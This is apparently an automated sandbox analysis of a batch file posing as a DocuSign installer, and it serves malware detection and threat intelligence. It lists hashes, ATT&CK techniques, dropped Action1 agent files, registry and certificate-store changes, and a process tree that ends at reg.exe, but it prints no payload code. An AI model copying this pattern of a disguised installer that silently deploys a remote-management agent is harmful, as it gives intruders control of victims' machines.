3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0

Analysis

max time kernel
299s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/07/2026, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Docusign_Installer.bat
Size 1KB
Sample260715-e7485sbx5n
SHA256 3ad57b6dbf81a3af0f8949e380f6790011d8e042abaaa7d3c203565a317bb3c0
MD5 6f6f23a8afbe467e7c715b505435d7f3
SHA1 c5aae58476103d7bd2195d5552f3566f8f567923
SHA512 1a867a9a9ad2dff48844f11b9f291f37a99d4774e9b80dc400d5c5eaab7385fee51337d84b6d7b054adc27dcc41cceba10aa266bc4d6e1a483ed299565e8e031
TLSH
T163210ED72052382E9BB3A651868513A4DF568643870822DD34FCC0026F177A143C658E
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://update.microsoft.com

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2560	powershell.exe
23	4528	msiexec.exe
38	4528	msiexec.exe
40	4528	msiexec.exe
50	4528	msiexec.exe
52	4528	msiexec.exe
71	4528	msiexec.exe
117	4796	powershell.exe
119	4796	powershell.exe
121	4796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2560	powershell.exe
2560	powershell.exe
4148	powershell.exe
2152	powershell.exe
3252	powershell.exe
1852	powershell.exe
1028	powershell.exe
1680	powershell.exe
1424	powershell.exe
4512	powershell.exe
4512	powershell.exe
536	powershell.exe
1160	powershell.exe
4696	powershell.exe
2044	powershell.exe
2480	powershell.exe
2432	powershell.exe
4796	powershell.exe

Deletes itself 1 IoCs

pid	Process
4148	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
5076	action1_agent.exe
4280	action1_agent.exe
3192	action1_agent.exe
2948	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
2804	MsiExec.exe
2804	MsiExec.exe
2804	MsiExec.exe
4376	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe

Drops file in Windows directory 49 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\rule_data\1004.suppress	action1_agent.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-07-15_05-36-46~5076.log	action1_agent.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Installer\e58bf58.msi	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\scripts\Running Processes_2030-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Services_2033-1784023871.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI259F.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\scripts\Hardware Summary_2037-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Updates_2010-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\MS Outlook Versions_2043-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Update Status_2064-1784023871.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI2776.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI27E4.tmp	msiexec.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI29EA.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1004.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Drivers_2024-1784023871.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI269A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI291E.tmp	msiexec.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E6D8B066-2E74-458F-9111-24857C1C627A}	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\datasource_data\1004.poll.tmp	action1_agent.exe
File created	C:\Windows\Action1\scripts\Installed Printers_2025-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Action1\scripts\Monitors_2026-1784023871.ps1	action1_agent.exe
File created	C:\Windows\Installer\e58bf53.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58bf53.msi	msiexec.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.GetHelp_10.1706.13331.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace48a557267\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.WindowsCalcula = "Windows Calculator"	action1_agent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d5ace482634f6d\a37dfe62\@{C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071 = "Movies & TV"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe%5Cresources.pri	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe

Modifies registry class 21 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "pkg.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe
4528	msiexec.exe
4528	msiexec.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
4148	powershell.exe
4148	powershell.exe
4148	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe
1852	powershell.exe
5076	action1_agent.exe
5076	action1_agent.exe
536	powershell.exe
536	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
1028	powershell.exe
1028	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
1160	powershell.exe
1160	powershell.exe
2480	powershell.exe
2480	powershell.exe
1680	powershell.exe
1680	powershell.exe
1424	powershell.exe
1424	powershell.exe
2432	powershell.exe
2432	powershell.exe
4512	powershell.exe
4512	powershell.exe
4696	powershell.exe
4696	powershell.exe
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeShutdownPrivilege	2412	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2412	msiexec.exe
Token: SeSecurityPrivilege	4528	msiexec.exe
Token: SeCreateTokenPrivilege	2412	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2412	msiexec.exe
Token: SeLockMemoryPrivilege	2412	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2412	msiexec.exe
Token: SeMachineAccountPrivilege	2412	msiexec.exe
Token: SeTcbPrivilege	2412	msiexec.exe
Token: SeSecurityPrivilege	2412	msiexec.exe
Token: SeTakeOwnershipPrivilege	2412	msiexec.exe
Token: SeLoadDriverPrivilege	2412	msiexec.exe
Token: SeSystemProfilePrivilege	2412	msiexec.exe
Token: SeSystemtimePrivilege	2412	msiexec.exe
Token: SeProfSingleProcessPrivilege	2412	msiexec.exe
Token: SeIncBasePriorityPrivilege	2412	msiexec.exe
Token: SeCreatePagefilePrivilege	2412	msiexec.exe
Token: SeCreatePermanentPrivilege	2412	msiexec.exe
Token: SeBackupPrivilege	2412	msiexec.exe
Token: SeRestorePrivilege	2412	msiexec.exe
Token: SeShutdownPrivilege	2412	msiexec.exe
Token: SeDebugPrivilege	2412	msiexec.exe
Token: SeAuditPrivilege	2412	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2412	msiexec.exe
Token: SeChangeNotifyPrivilege	2412	msiexec.exe
Token: SeRemoteShutdownPrivilege	2412	msiexec.exe
Token: SeUndockPrivilege	2412	msiexec.exe
Token: SeSyncAgentPrivilege	2412	msiexec.exe
Token: SeEnableDelegationPrivilege	2412	msiexec.exe
Token: SeManageVolumePrivilege	2412	msiexec.exe
Token: SeImpersonatePrivilege	2412	msiexec.exe
Token: SeCreateGlobalPrivilege	2412	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeShutdownPrivilege	4376	MsiExec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeBackupPrivilege	5076	action1_agent.exe
Token: SeSecurityPrivilege	5076	action1_agent.exe
Token: SeBackupPrivilege	5076	action1_agent.exe
Token: SeSecurityPrivilege	5076	action1_agent.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe
Token: SeTakeOwnershipPrivilege	4528	msiexec.exe
Token: SeRestorePrivilege	4528	msiexec.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 520 wrote to memory of 3112	520	cmd.exe	87
PID 3112 wrote to memory of 5064	3112	net.exe	88
PID 520 wrote to memory of 4440	520	cmd.exe	89
PID 520 wrote to memory of 2560	520	cmd.exe	90
PID 520 wrote to memory of 2412	520	cmd.exe	98
PID 4528 wrote to memory of 2804	4528	msiexec.exe	108
PID 4528 wrote to memory of 4376	4528	msiexec.exe	110
PID 5076 wrote to memory of 2152	5076	action1_agent.exe	113
PID 520 wrote to memory of 4148	520	cmd.exe	117
PID 5076 wrote to memory of 3252	5076	action1_agent.exe	118
PID 3252 wrote to memory of 4280	3252	powershell.exe	126
PID 5076 wrote to memory of 1852	5076	action1_agent.exe	131
PID 5076 wrote to memory of 536	5076	action1_agent.exe	136
PID 536 wrote to memory of 3192	536	powershell.exe	139
PID 5076 wrote to memory of 2044	5076	action1_agent.exe	140
PID 5076 wrote to memory of 1028	5076	action1_agent.exe	143
PID 1028 wrote to memory of 2948	1028	powershell.exe	146
PID 5076 wrote to memory of 4512	5076	action1_agent.exe	147
PID 5076 wrote to memory of 1160	5076	action1_agent.exe	150
PID 5076 wrote to memory of 2480	5076	action1_agent.exe	153
PID 5076 wrote to memory of 1680	5076	action1_agent.exe	156
PID 5076 wrote to memory of 1424	5076	action1_agent.exe	159
PID 5076 wrote to memory of 2432	5076	action1_agent.exe	162
PID 5076 wrote to memory of 4512	5076	action1_agent.exe	165
PID 5076 wrote to memory of 4696	5076	action1_agent.exe	168
PID 5076 wrote to memory of 4796	5076	action1_agent.exe	171

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:520
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5064
- C:\Windows\system32\reg.exe
